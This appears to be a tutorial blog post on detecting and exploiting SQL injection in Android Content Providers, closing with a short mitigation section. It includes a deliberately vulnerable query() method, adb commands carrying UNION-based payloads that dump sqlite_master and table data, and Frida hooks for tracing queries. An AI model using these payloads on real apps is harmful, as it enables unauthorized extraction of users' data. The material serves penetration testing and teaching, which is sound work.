Introduction to Android Content Provider SQL Injection
Android’s Content Providers are a crucial component for managing and sharing structured data between applications. They act as an interface to a data source, which can be a database (like SQLite), a file system, or a network. While incredibly useful, poorly implemented Content Providers can expose applications to significant security risks, most notably SQL Injection (SQLi) vulnerabilities. This deep dive will guide you through the process of identifying, analyzing, and exploiting these hidden flaws, leveraging techniques like manifest analysis, runtime debugging with Frida, and crafted SQL payloads.
Understanding Content Providers and Their Security Implications
A Content Provider exposes data through a Uniform Resource Identifier (URI) and allows other applications to perform standard CRUD (Create, Read, Update, Delete) operations using methods like query(), insert(), update(), and delete(). The query() method is particularly susceptible to SQLi when user-supplied input is directly concatenated into raw SQL queries without proper sanitization or parameterization.
The Anatomy of a Vulnerable Query
Consider a Content Provider that stores user data in an SQLite database. A typical query() method might look like this (simplified):
@Overridepublic Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) { SQLiteQueryBuilder queryBuilder = new SQLiteQueryBuilder(); queryBuilder.setTables(TABLE_NAME); String finalSelection = ""; if (uriMatcher.match(uri) == USERS_ID) { finalSelection = USER_ID + "=" + uri.getPathSegments().get(1); } else { finalSelection = selection; } // DANGER: If 'selection' is directly used without sanitization/parameterization return queryBuilder.query(database, projection, finalSelection, selectionArgs, null, null, sortOrder);}
In this example, if selection (or components derived from uri.getPathSegments()) is directly injected into the SQL query, an attacker can manipulate the database operations.
Phase 1: Identifying Content Providers
The first step in discovering SQLi vulnerabilities is to identify accessible Content Providers within an application.
Method 1: AndroidManifest.xml Analysis
Content Providers are declared in the AndroidManifest.xml file. You can extract this manifest by decompiling the APK (e.g., using JADX or Apktool) or by using aapt.
Using aapt (Android Asset Packaging Tool):
aapt dump badging your_app.apk | grep "provider"
Or, if you have the decompiled AndroidManifest.xml:
<provider android:name=".data.MyContentProvider" android:authorities="com.example.app.provider" android:exported="true" android:readPermission="com.example.app.READ_DATA" android:writePermission="com.example.app.WRITE_DATA" />
Pay close attention to android:exported="true". This flag means the Content Provider is accessible to other applications. Even if exported is false, local applications or those with appropriate permissions might still access it. Also note any specified readPermission or writePermission.
Method 2: Runtime Discovery with Frida
Frida can be used to dynamically enumerate Content Providers and their URIs at runtime. While more complex, this can reveal providers not explicitly declared or dynamically registered.
Phase 2: Detecting SQL Injection
Once you have a target Content Provider URI, you can start probing for injection points.
Basic Injection with adb shell content query
The adb shell content query command is your primary tool for interacting with Content Providers from the command line. A simple way to test for SQLi is by injecting a single quote (') into the --selection parameter and observing error messages.
Assume a target URI content://com.example.app.provider/users and a potentially vulnerable column like name.
adb shell content query --uri content://com.example.app.provider/users --selection "name='"
If the application is vulnerable, this command will likely return a database error message (e.g., `near “‘” : syntax error`), indicating that the single quote broke the SQL query, confirming a potential SQLi.
Exploiting Error-Based SQL Injection
If error messages are displayed, you can craft payloads to extract information. For example, to determine the number of columns in the underlying table, you can use ORDER BY clauses:
adb shell content query --uri content://com.example.app.provider/users --selection "name=' ORDER BY 1--"adb shell content query --uri content://com.example.app.provider/users --selection "name=' ORDER BY 2--"...adb shell content query --uri content://com.example.app.provider/users --selection "name=' ORDER BY N--"
The query will fail when N exceeds the actual number of columns. Once the column count is known, you can use `UNION SELECT` to retrieve data.
Exploiting Union-Based SQL Injection
Union-based SQLi allows you to inject your own SELECT statements and retrieve results alongside legitimate data. You need to match the number of columns and their data types.
To enumerate tables (example for SQLite):
adb shell content query --uri content://com.example.app.provider/users --selection "name=' UNION SELECT 1,sql,3,4,5 FROM sqlite_master WHERE type='table'--" --projection "_id,name,email,phone,address"
This example assumes 5 columns are being queried by default, and `_id`, `name`, `email`, `phone`, `address` are placeholders matching the original projection. You’d replace `sql` with a column that displays text to see the table names.
To dump data from a specific table (e.g., `sensitive_data`):
adb shell content query --uri content://com.example.app.provider/users --selection "name=' UNION SELECT 1,column1,column2,column3,column4 FROM sensitive_data--" --projection "_id,name,email,phone,address"
Adjust column names and counts as needed. The `–projection` argument here is mostly for the `adb` client to understand what to display; the injected `SELECT` statement dictates what the database returns.
Phase 3: Deep Analysis with Frida Hooks
Frida is invaluable for runtime analysis. It allows you to hook into Java methods, inspect arguments, and even modify return values. This is crucial for understanding how the application constructs its SQL queries and precisely where the injection occurs, especially when error messages are suppressed.
Hooking ContentResolver.query()
You can hook the android.content.ContentResolver.query() method to observe every Content Provider query made by the app, and specifically the selection and selectionArgs parameters.
Java.perform(function() { var ContentResolver = Java.use("android.content.ContentResolver"); ContentResolver.query.overload('android.net.Uri', '[Ljava.lang.String;', 'java.lang.String', '[Ljava.lang.String;', 'java.lang.String').implementation = function(uri, projection, selection, selectionArgs, sortOrder) { console.log("[+] ContentResolver.query() called!"); console.log(" URI: " + uri.toString()); console.log(" Selection: " + selection); if (selectionArgs != null) { console.log(" SelectionArgs: " + JSON.stringify(selectionArgs)); } console.log(" SortOrder: " + sortOrder); // Call the original method var cursor = this.query(uri, projection, selection, selectionArgs, sortOrder); return cursor; };});
This script will print out the arguments passed to every `query()` call, allowing you to see if your injected payload (e.g., `name=’`) is reaching the Content Provider and how it’s being processed.
Hooking SQLiteDatabase.rawQuery() for Direct SQL Insight
For even deeper insight, hook methods in android.database.sqlite.SQLiteDatabase, specifically rawQuery(). This will show you the *exact* SQL query string being executed against the database, revealing the point of injection and how your malicious input is being concatenated.
Java.perform(function() { var SQLiteDatabase = Java.use("android.database.sqlite.SQLiteDatabase"); SQLiteDatabase.rawQuery.overload('java.lang.String', '[Ljava.lang.String;').implementation = function(sql, selectionArgs) { console.log("[+] SQLiteDatabase.rawQuery() called!"); console.log(" SQL Query: " + sql); if (selectionArgs != null) { console.log(" SelectionArgs: " + JSON.stringify(selectionArgs)); } // Call the original method var cursor = this.rawQuery(sql, selectionArgs); return cursor; };});
By running your `adb shell content query` with the injected payload and monitoring Frida’s output, you can directly observe the malformed SQL query, confirming the vulnerability and aiding in payload construction.
Mitigation Strategies
Preventing SQL injection in Content Providers is paramount. Key strategies include:
- Parameterized Queries: Always use parameterized queries or prepared statements (e.g.,
SQLiteDatabase.query()with non-nullselectionArgs) instead of concatenating user input directly into SQL strings. - Input Validation: Implement rigorous input validation for all user-supplied data, ensuring it adheres to expected formats and does not contain malicious characters.
- Principle of Least Privilege: Limit Content Provider exposure by setting
android:exported="false"unless absolutely necessary. Implement strict read/write permissions.
Conclusion
Android Content Providers, while powerful, can introduce critical SQL injection vulnerabilities if not implemented with security in mind. By combining static analysis of the `AndroidManifest.xml`, dynamic probing with `adb shell content query`, and advanced runtime introspection using Frida hooks, security researchers and penetration testers can effectively identify and exploit these flaws. Understanding the underlying mechanisms and employing proper mitigation techniques are essential for building secure Android applications.
Android Mobile Specs & Compare Directory
Are you researching mobile hardware properties, processor SoCs, GPU chipsets, or RAM configurations? Access our complete specs catalog to compare up to 5 devices side-by-side!
Compare Devices Specs →